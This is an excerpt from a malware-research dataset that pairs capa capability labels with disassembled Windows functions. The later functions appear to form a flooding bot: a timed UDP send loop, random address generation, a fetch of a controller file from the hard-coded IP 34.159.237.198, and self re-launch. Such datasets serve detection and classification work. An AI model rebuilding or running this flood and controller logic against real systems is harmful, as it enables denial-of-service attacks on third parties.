joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002eaf0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rdi, rdx
mov rdx, qword [rdx + 8]
mov rsi, qword [rdi + 0x10]
mov rax, rdx
sub rax, rsi
jb 0x14002eb6c
mov rcx, qword [rcx]
cmp rax, 0x7fffffff
mov r8d, 0x7fffffff
cmovb r8, rax
mov rdx, qword [rdi]
add rdx, rsi
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_recv]
cmp eax, 0xffffffff
je 0x14002eb4c
cdqe
add rsi, rax
mov qword [rdi + 0x10], rsi
mov rax, qword [rdi + 0x18]
cmp rax, rsi
cmova rsi, rax
mov qword [rdi + 0x18], rsi
xor eax, eax
jmp 0x14002eb65
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
cmp eax, 0x274a
jne 0x14002eb5d
xor eax, eax
jmp 0x14002eb65
shl rax, 0x20
or rax, 2
add rsp, 0x28
pop rdi
pop rsi
ret
lea r8, [0x14004acd8]
mov rcx, rsi
call fcn.1400469b0
int3

Function at 0x14002eb80
Capabilities:
Send data
Send data on socket

Disassembly:
push rsi
sub rsp, 0x20
mov rax, r8
mov rsi, rcx
mov rcx, qword [rdx]
cmp r9, 0x7fffffff
mov r8d, 0x7fffffff
cmovb r8, r9
mov rdx, rax
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_send]
cmp eax, 0xffffffff
je 0x14002ebba
cdqe
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x14002ebd1
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
mov rax, rsi
add rsp, 0x20
pop rsi
ret

Function at 0x14002ebe0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rsi
sub rsp, 0x20
mov rax, r8
mov rsi, rcx
mov rcx, qword [rdx]
cmp r9, 0x7fffffff
mov r8d, 0x7fffffff
cmovb r8, r9
mov rdx, rax
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_recv]
cmp eax, 0xffffffff
je 0x14002ec14
cdqe
jmp 0x14002ec23
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
cmp eax, 0x274a
jne 0x14002ec2b
xor eax, eax
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x14002ec3c
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
mov rax, rsi
add rsp, 0x20
pop rsi
ret
Function at 0x1400334e0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rsp + 0xe0]
movups xmm0, xmmword [0x14004cae8]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
test rcx, rcx
je 0x140033524
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
test rcx, rcx
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x80]
cmove rdx, rcx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x14003358a
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x1400335c1
test eax, eax
js 0x14003359b
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x1400335b4
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.14002e420
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.14002aa90
mov ecx, 7
int 0x29
ud2

Function at 0x140033630
Capabilities:
Create udp socket

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov edi, r8d
mov rsi, rcx
cmp word [rdx], 0
mov eax, 2
mov ebx, 0x17
cmove ebx, eax
mov dword [rsp + 0x28], 0x81
mov dword [rsp + 0x20], 0
mov ecx, ebx
mov edx, r8d
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSASocketW]
cmp rax, 0xffffffffffffffff
je 0x140033685
mov qword [rsi + 8], rax
mov qword [rsi], 0
jmp 0x140033721
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
cmp eax, 0x2726
je 0x140033699
cmp eax, 0x2739
jne 0x1400336ea
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
mov ecx, ebx
mov edx, edi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_WSASocketW]
cmp rax, 0xffffffffffffffff
je 0x1400336e4
mov rdi, rax
mov rcx, rax
mov edx, 1
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
je 0x1400336ff
mov qword [rsi + 8], rdi
mov qword [rsi], 0
jmp 0x140033721
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x140033721
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
mov rcx, rdi
call qword [sym.imp.ws2_32.dll_closesocket]
mov rax, rsi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
Function at 0x140035620
Capabilities:
Resolve dns

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x1f0
mov rsi, rcx
mov r14, qword [rdx]
mov rbx, qword [rdx + 8]
movzx edi, word [rdx + 0x10]
mov rax, qword [0x14005c248]
cmp rax, 3
jne 0x140035716
cmp rbx, 0x17f
ja 0x140035728
lea r15, [rsp + 0x70]
mov rcx, r15
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x70], 0
inc rbx
lea rcx, [rsp + 0x28]
mov rdx, r15
mov r8, rbx
call fcn.14003f330
cmp qword [rsp + 0x28], 0
je 0x1400356a4
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x140035739
mov rcx, qword [rsp + 0x30]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x48], 1
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x40]
lea r9, [rsp + 0x20]
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x1400356fe
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
jmp 0x140035739
mov rax, qword [rsp + 0x20]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], di
xor eax, eax
mov qword [rsi], rax
jmp 0x140035739
call fcn.140045d20
cmp rbx, 0x17f
jbe 0x14003565a
mov rcx, rsi
mov rdx, r14
mov r8, rbx
mov r9d, edi
call fcn.140045e00
mov rax, rsi
add rsp, 0x1f0
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x140035750
Capabilities:
Connect socket

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x40
mov rbx, r8
mov rsi, rcx
test rdx, rdx
je 0x140035772
mov qword [rsi + 8], rbx
mov qword [rsi], 1
jmp 0x140035847
mov rax, qword [0x14005c248]
cmp rax, 3
jne 0x140035852
lea rcx, [rsp + 0x20]
mov rdx, rbx
mov r8d, 1
call fcn.140033630
cmp qword [rsp + 0x20], 0
mov rdi, qword [rsp + 0x28]
je 0x1400357b3
mov qword [rsi + 8], rdi
mov qword [rsi], 1
jmp 0x140035847
cmp word [rbx], 0
je 0x1400357d4
movups xmm0, xmmword [rbx + 4]
mov eax, dword [rbx + 0x14]
mov edx, dword [rbx + 0x18]
movzx ecx, word [rbx + 0x1c]
mov r8d, 0x1c
mov r9w, 0x17
jmp 0x1400357e9
mov eax, dword [rbx + 2]
movzx ecx, word [rbx + 6]
mov r8d, 0x10
mov r9w, 2
xorps xmm0, xmm0
rol cx, 8
mov word [rsp + 0x20], r9w
mov word [rsp + 0x22], cx
mov dword [rsp + 0x24], eax
movups xmmword [rsp + 0x28], xmm0
mov dword [rsp + 0x38], edx
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.ws2_32.dll_connect]
cmp eax, 0xffffffff
je 0x140035825
mov qword [rsi + 8], rdi
mov qword [rsi], 0
jmp 0x140035847
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
mov rcx, rdi
call qword [sym.imp.ws2_32.dll_closesocket]
mov rax, rsi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
call fcn.140045d20
jmp 0x140035783
Function at 0x140043830
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x1400438aa
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x1400438a0
cmp r11, r10
ja 0x140043941
cmp r10, rdx
ja 0x140043953
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x1400438a2
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x140043880
jmp 0x140043917
ja 0x1400438aa
mov r11, r10
cmp rax, r8
jne 0x140043852
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x14004391b
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x1400438f0
mov r8, r10
sub ecx, r9d
jns 0x14004390e
jmp 0x14004391d
cmp r10, rdx
je 0x140043929
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x14004391d
xor al, 1
cmp r8, rdx
jne 0x1400438d0
jmp 0x14004391d
xor eax, eax
jmp 0x14004391d
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, [0x14004f7fb]
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.1400465e0
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.140046ab0
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.140046a30
int3

Function at 0x1400454d8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140045522
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140045522
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140045522
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140045522
cmp dword [rcx + 0x84], 0xe
jbe 0x140045522
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140045524
xor al, al
add rsp, 0x28
ret
Function at 0x140045e00
Capabilities:
Resolve dns

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x88
mov ebp, r9d
mov rsi, rcx
lea rcx, [rsp + 0x30]
call fcn.14003dbb0
mov rdx, qword [rsp + 0x30]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x140045e99
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x58], 1
mov qword [rsp + 0x28], 0
lea r8, [rsp + 0x50]
lea r9, [rsp + 0x28]
mov rcx, rdi
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x140045ecb
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
mov byte [rdi], 0
test rbx, rbx
jne 0x140045ee9
jmp 0x140045efa
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
test rdx, rdx
je 0x140045efa
mov rcx, qword [rsp + 0x38]
mov r8d, 1
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
jmp fcn.140016fc0
mov rax, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], bp
xor eax, eax
mov qword [rsi], rax
mov byte [rdi], 0
test rbx, rbx
je 0x140045efa
mov r8d, 1
mov rcx, rdi
mov rdx, rbx
call fcn.140016fc0
nop
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x0040cae0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x0040caf0]
mov dword [rax], 1
mov rax, qword [0x0040cb00]
mov dword [rax], 1
mov rax, qword [0x0040ca80]
cmp word [rax], 0x5a4d
jne 0x40105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4010c0
mov rax, qword [0x0040cad0]
mov dword [0x0040f020], ecx
mov eax, dword [rax]
test eax, eax
je 0x4010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x0040cbb0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x0040cb90]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x0040ca30]
cmp dword [rax], 1
je 0x4010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x401110
cmp dx, 0x20b
jne 0x40105a
cmp dword [rax + 0x84], 0xe
jbe 0x40105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x40105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x40105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x40105a
Function at 0x4018f3
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns
Send data
Send data on socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov dword [rbp + 0x20], r8d
mov r8d, 0
mov edx, 2
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov dword [rbp - 8], eax
mov ecx, 0
call sym.time
mov qword [rbp - 0x10], rax
mov rax, qword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp - 0x18], rax
lea rax, [rbp - 0x30]
mov r8d, 0x10
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x12]
movsx r8, ax
mov rax, qword [rbp - 0x18]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
lea rdx, [rbp - 0x30]
lea rcx, [rdx + 4]
mov rdx, rax
call sym.memmove
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x10]
mov word [rbp - 0x30], ax
mov eax, dword [rbp + 0x18]
mov word [rbp - 0x2e], ax
mov dword [rbp - 4], 0
lea rax, [0x0040bb58]
mov qword [rbp - 0x38], rax
cmp dword [rbp - 4], 0x31
jbe 0x401a20
mov eax, dword [rbp - 8]
cdqe
lea rdx, [rbp - 0x38]
mov r9d, 0
mov r8d, 0x5b4
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, dword [rbp - 8]
cdqe
lea rdx, [rbp - 0x30]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov ecx, 0
call sym.time
mov edx, dword [rbp + 0x20]
movsxd rcx, edx
mov rdx, qword [rbp - 0x10]
add rdx, rcx
cmp rax, rdx
jl 0x401a19
mov eax, dword [rbp - 8]
mov ecx, eax
call sym.close
mov ecx, 0
call sym._exit
mov dword [rbp - 4], 0
add dword [rbp - 4], 1
jmp 0x40199c

Function at 0x401afe
Capabilities:
Resolve dns

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp - 8], rax
mov dword [rbp - 0xc], 0
nop
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x18]
mov edx, dword [rbp - 0xc]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov rax, qword [rax]
test rax, rax
je 0x401b64
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x18]
mov edx, dword [rbp - 0xc]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov rax, qword [rax]
mov eax, dword [rax]
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x64]
jmp 0x401b69
mov eax, 0
add rsp, 0x90
pop rbp
ret

Function at 0x401b72
Capabilities:
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1d0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x160], ecx
lea rax, [rbp - 0x60]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
call sym.GetFirstIPAddress
mov dword [rbp + 0x14c], eax
mov eax, dword [rbp + 0x14c]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_ntohl]
call rax
mov edx, dword [rbp + 0x160]
and eax, edx
mov dword [rbp + 0x148], eax
call sym.rand_cmwc
mov edx, dword [rbp + 0x160]
not edx
and edx, eax
mov eax, dword [rbp + 0x148]
xor eax, edx
mov dword [rbp + 0x144], eax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, dword [rbp + 0x144]
add rsp, 0x1d0
pop rbp
ret
Function at 0x401bfc
Capabilities:
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov dword [rbp + 0x20], r8d
mov dword [rbp - 4], 1
mov dword [rbp - 8], 0
jmp 0x401c56
mov eax, dword [rbp - 8]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rdx, rax
mov eax, dword [rbp + 0x20]
mov r8d, 1
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll__read]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0xffffffff
jne 0x401c50
mov eax, 0
jmp 0x401c9f
mov eax, dword [rbp - 4]
add dword [rbp - 8], eax
cmp dword [rbp - 4], 1
jne 0x401c7e
mov eax, dword [rbp + 0x18]
sub eax, 1
cmp dword [rbp - 8], eax
jge 0x401c7e
mov eax, dword [rbp - 8]
cdqe
lea rdx, [rax - 1]
mov rax, qword [rbp + 0x10]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0xa
jne 0x401c1f
mov eax, dword [rbp - 8]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov byte [rax], 0
cmp dword [rbp - 4], 0
je 0x401c9a
mov rax, qword [rbp + 0x10]
jmp 0x401c9f
mov eax, 0
add rsp, 0x30
pop rbp
ret

Function at 0x401ca5
Capabilities:
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1f0
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x30]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
add rsp, 0x1f0
pop rbp
ret

Function at 0x401fd0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
push rdi
mov eax, 0x1058
call fcn.00404660
sub rsp, rax
lea rbp, [rsp + 0x80]
lea rdx, [rbp - 0x50]
mov eax, 0
mov ecx, 0x200
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rax, str.User_Agent
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0xfc8], rax
cmp qword [rbp + 0xfc8], 0
jne 0x402042
mov eax, 0
jmp 0x402119
mov rax, qword [rbp + 0xfc8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
lea rdx, str.http:__34.159.237.198_ip.txt
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0xfc0], rax
cmp qword [rbp + 0xfc0], 0
jne 0x4020a4
mov rax, qword [rbp + 0xfc8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 0
jmp 0x402119
lea rcx, [rbp + 0xfbc]
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0xfc0]
mov r9, rcx
mov r8d, 0xfff
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
mov eax, dword [rbp + 0xfbc]
mov eax, eax
mov byte [rbp + rax - 0x50], 0
lea rax, [rbp - 0x50]
mov rdx, rax
lea rax, [0x0040f040]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp + 0xfc0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0xfc8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 0
add rsp, 0x1058
pop rdi
pop rbp
ret
Function at 0x4021f1
Capabilities:
Create process on windows

Disassembly:
push rbp
sub rsp, 0x200
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x10], 0x68
lea rax, [rbp - 0x30]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x60]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
test eax, eax
jne 0x40225f
mov eax, 0xffffffff
jmp 0x4023dd
lea rax, [rbp + 0x60]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x4022c2
mov eax, 0xffffffff
jmp 0x4023dd
mov rax, qword [0x00414078]
add rax, 1
mov qword [0x00414078], rax
mov rax, qword [0x00414078]
shl rax, 2
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x170], rax
cmp qword [rbp + 0x170], 0
jne 0x402322
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0xffffffff
jmp 0x4023dd
mov qword [rbp + 0x178], 0
jmp 0x402369
mov rax, qword [0x00414070]
mov rdx, qword [rbp + 0x178]
shl rdx, 2
add rax, rdx
mov rdx, qword [rbp + 0x178]
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x170]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
add qword [rbp + 0x178], 1
mov rax, qword [0x00414078]
sub rax, 1
cmp qword [rbp + 0x178], rax
jb 0x40232f
mov rax, qword [0x00414078]
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x170]
add rdx, rax
mov eax, dword [rbp - 0x20]
mov dword [rdx], eax
mov rax, qword [0x00414070]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x170]
mov qword [0x00414070], rax
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x200
pop rbp
ret
Function at 0x402451
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push rbp
sub rsp, 0x270
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x200], ecx
mov qword [rbp + 0x208], rdx
mov dword [rbp + 0x210], r8d
mov eax, dword [rbp + 0x210]
movsxd rdx, eax
mov rax, qword [rbp + 0x208]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x48], 0x1e
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x40], 0
mov dword [rbp + 0x1ec], 0
jmp 0x4024d5
mov eax, dword [rbp + 0x1ec]
mov rdx, qword [rbp + rax*8 - 0x38]
mov eax, dword [rbp + 0x200]
cdqe
cmp rdx, rax
je 0x4024e0
add dword [rbp + 0x1ec], 1
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1ec], eax
jb 0x4024b6
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1ec], eax
jne 0x402510
mov eax, dword [rbp - 0x40]
cmp eax, 0x3f
ja 0x402510
mov eax, dword [rbp + 0x200]
movsxd rdx, eax
mov eax, dword [rbp + 0x1ec]
mov qword [rbp + rax*8 - 0x38], rdx
mov eax, dword [rbp - 0x40]
add eax, 1
mov dword [rbp - 0x40], eax
mov eax, dword [rbp + 0x200]
lea ecx, [rax + 1]
lea r8, [rbp - 0x40]
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x48]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8d, 0
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_select]
call rax
mov dword [rbp + 0x1d0], eax
cmp dword [rbp + 0x1d0], 0
jg 0x402628
jmp 0x402618
mov dword [rbp - 0x48], 0x1e
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x40], 0
mov dword [rbp + 0x1e4], 0
jmp 0x402597
mov eax, dword [rbp + 0x1e4]
mov rdx, qword [rbp + rax*8 - 0x38]
mov eax, dword [rbp + 0x200]
cdqe
cmp rdx, rax
je 0x4025a2
add dword [rbp + 0x1e4], 1
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1e4], eax
jb 0x402578
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1e4], eax
jne 0x4025d2
mov eax, dword [rbp - 0x40]
cmp eax, 0x3f
ja 0x4025d2
mov eax, dword [rbp + 0x200]
movsxd rdx, eax
mov eax, dword [rbp + 0x1e4]
mov qword [rbp + rax*8 - 0x38], rdx
mov eax, dword [rbp - 0x40]
add eax, 1
mov dword [rbp - 0x40], eax
mov eax, dword [rbp + 0x200]
lea ecx, [rax + 1]
lea r8, [rbp - 0x40]
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x48]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8d, 0
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_select]
call rax
mov dword [rbp + 0x1d0], eax
cmp dword [rbp + 0x1d0], 0
jg 0x402627
add dword [rbp + 0x1e8], 1
nop
cmp dword [rbp + 0x1e8], 9
jle 0x402557
jmp 0x402628
nop
mov dword [rbp + 0x1d4], 0
mov rax, qword [rbp + 0x208]
mov qword [rbp + 0x1d8], rax
jmp 0x4026a3
mov eax, dword [0x00410040]
cdqe
lea rdx, [rbp - 0x49]
mov r9d, 0
mov r8d, 1
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
cmp eax, 1
je 0x40267c
mov rax, qword [rbp + 0x1d8]
mov byte [rax], 0
mov eax, 0xffffffff
jmp 0x4026ca
mov rax, qword [rbp + 0x1d8]
lea rdx, [rax + 1]
mov qword [rbp + 0x1d8], rdx
movzx edx, byte [rbp - 0x49]
mov byte [rax], dl
movzx eax, byte [rbp - 0x49]
cmp al, 0xa
je 0x4026b9
add dword [rbp + 0x1d4], 1
mov eax, dword [rbp + 0x210]
lea edx, [rax - 1]
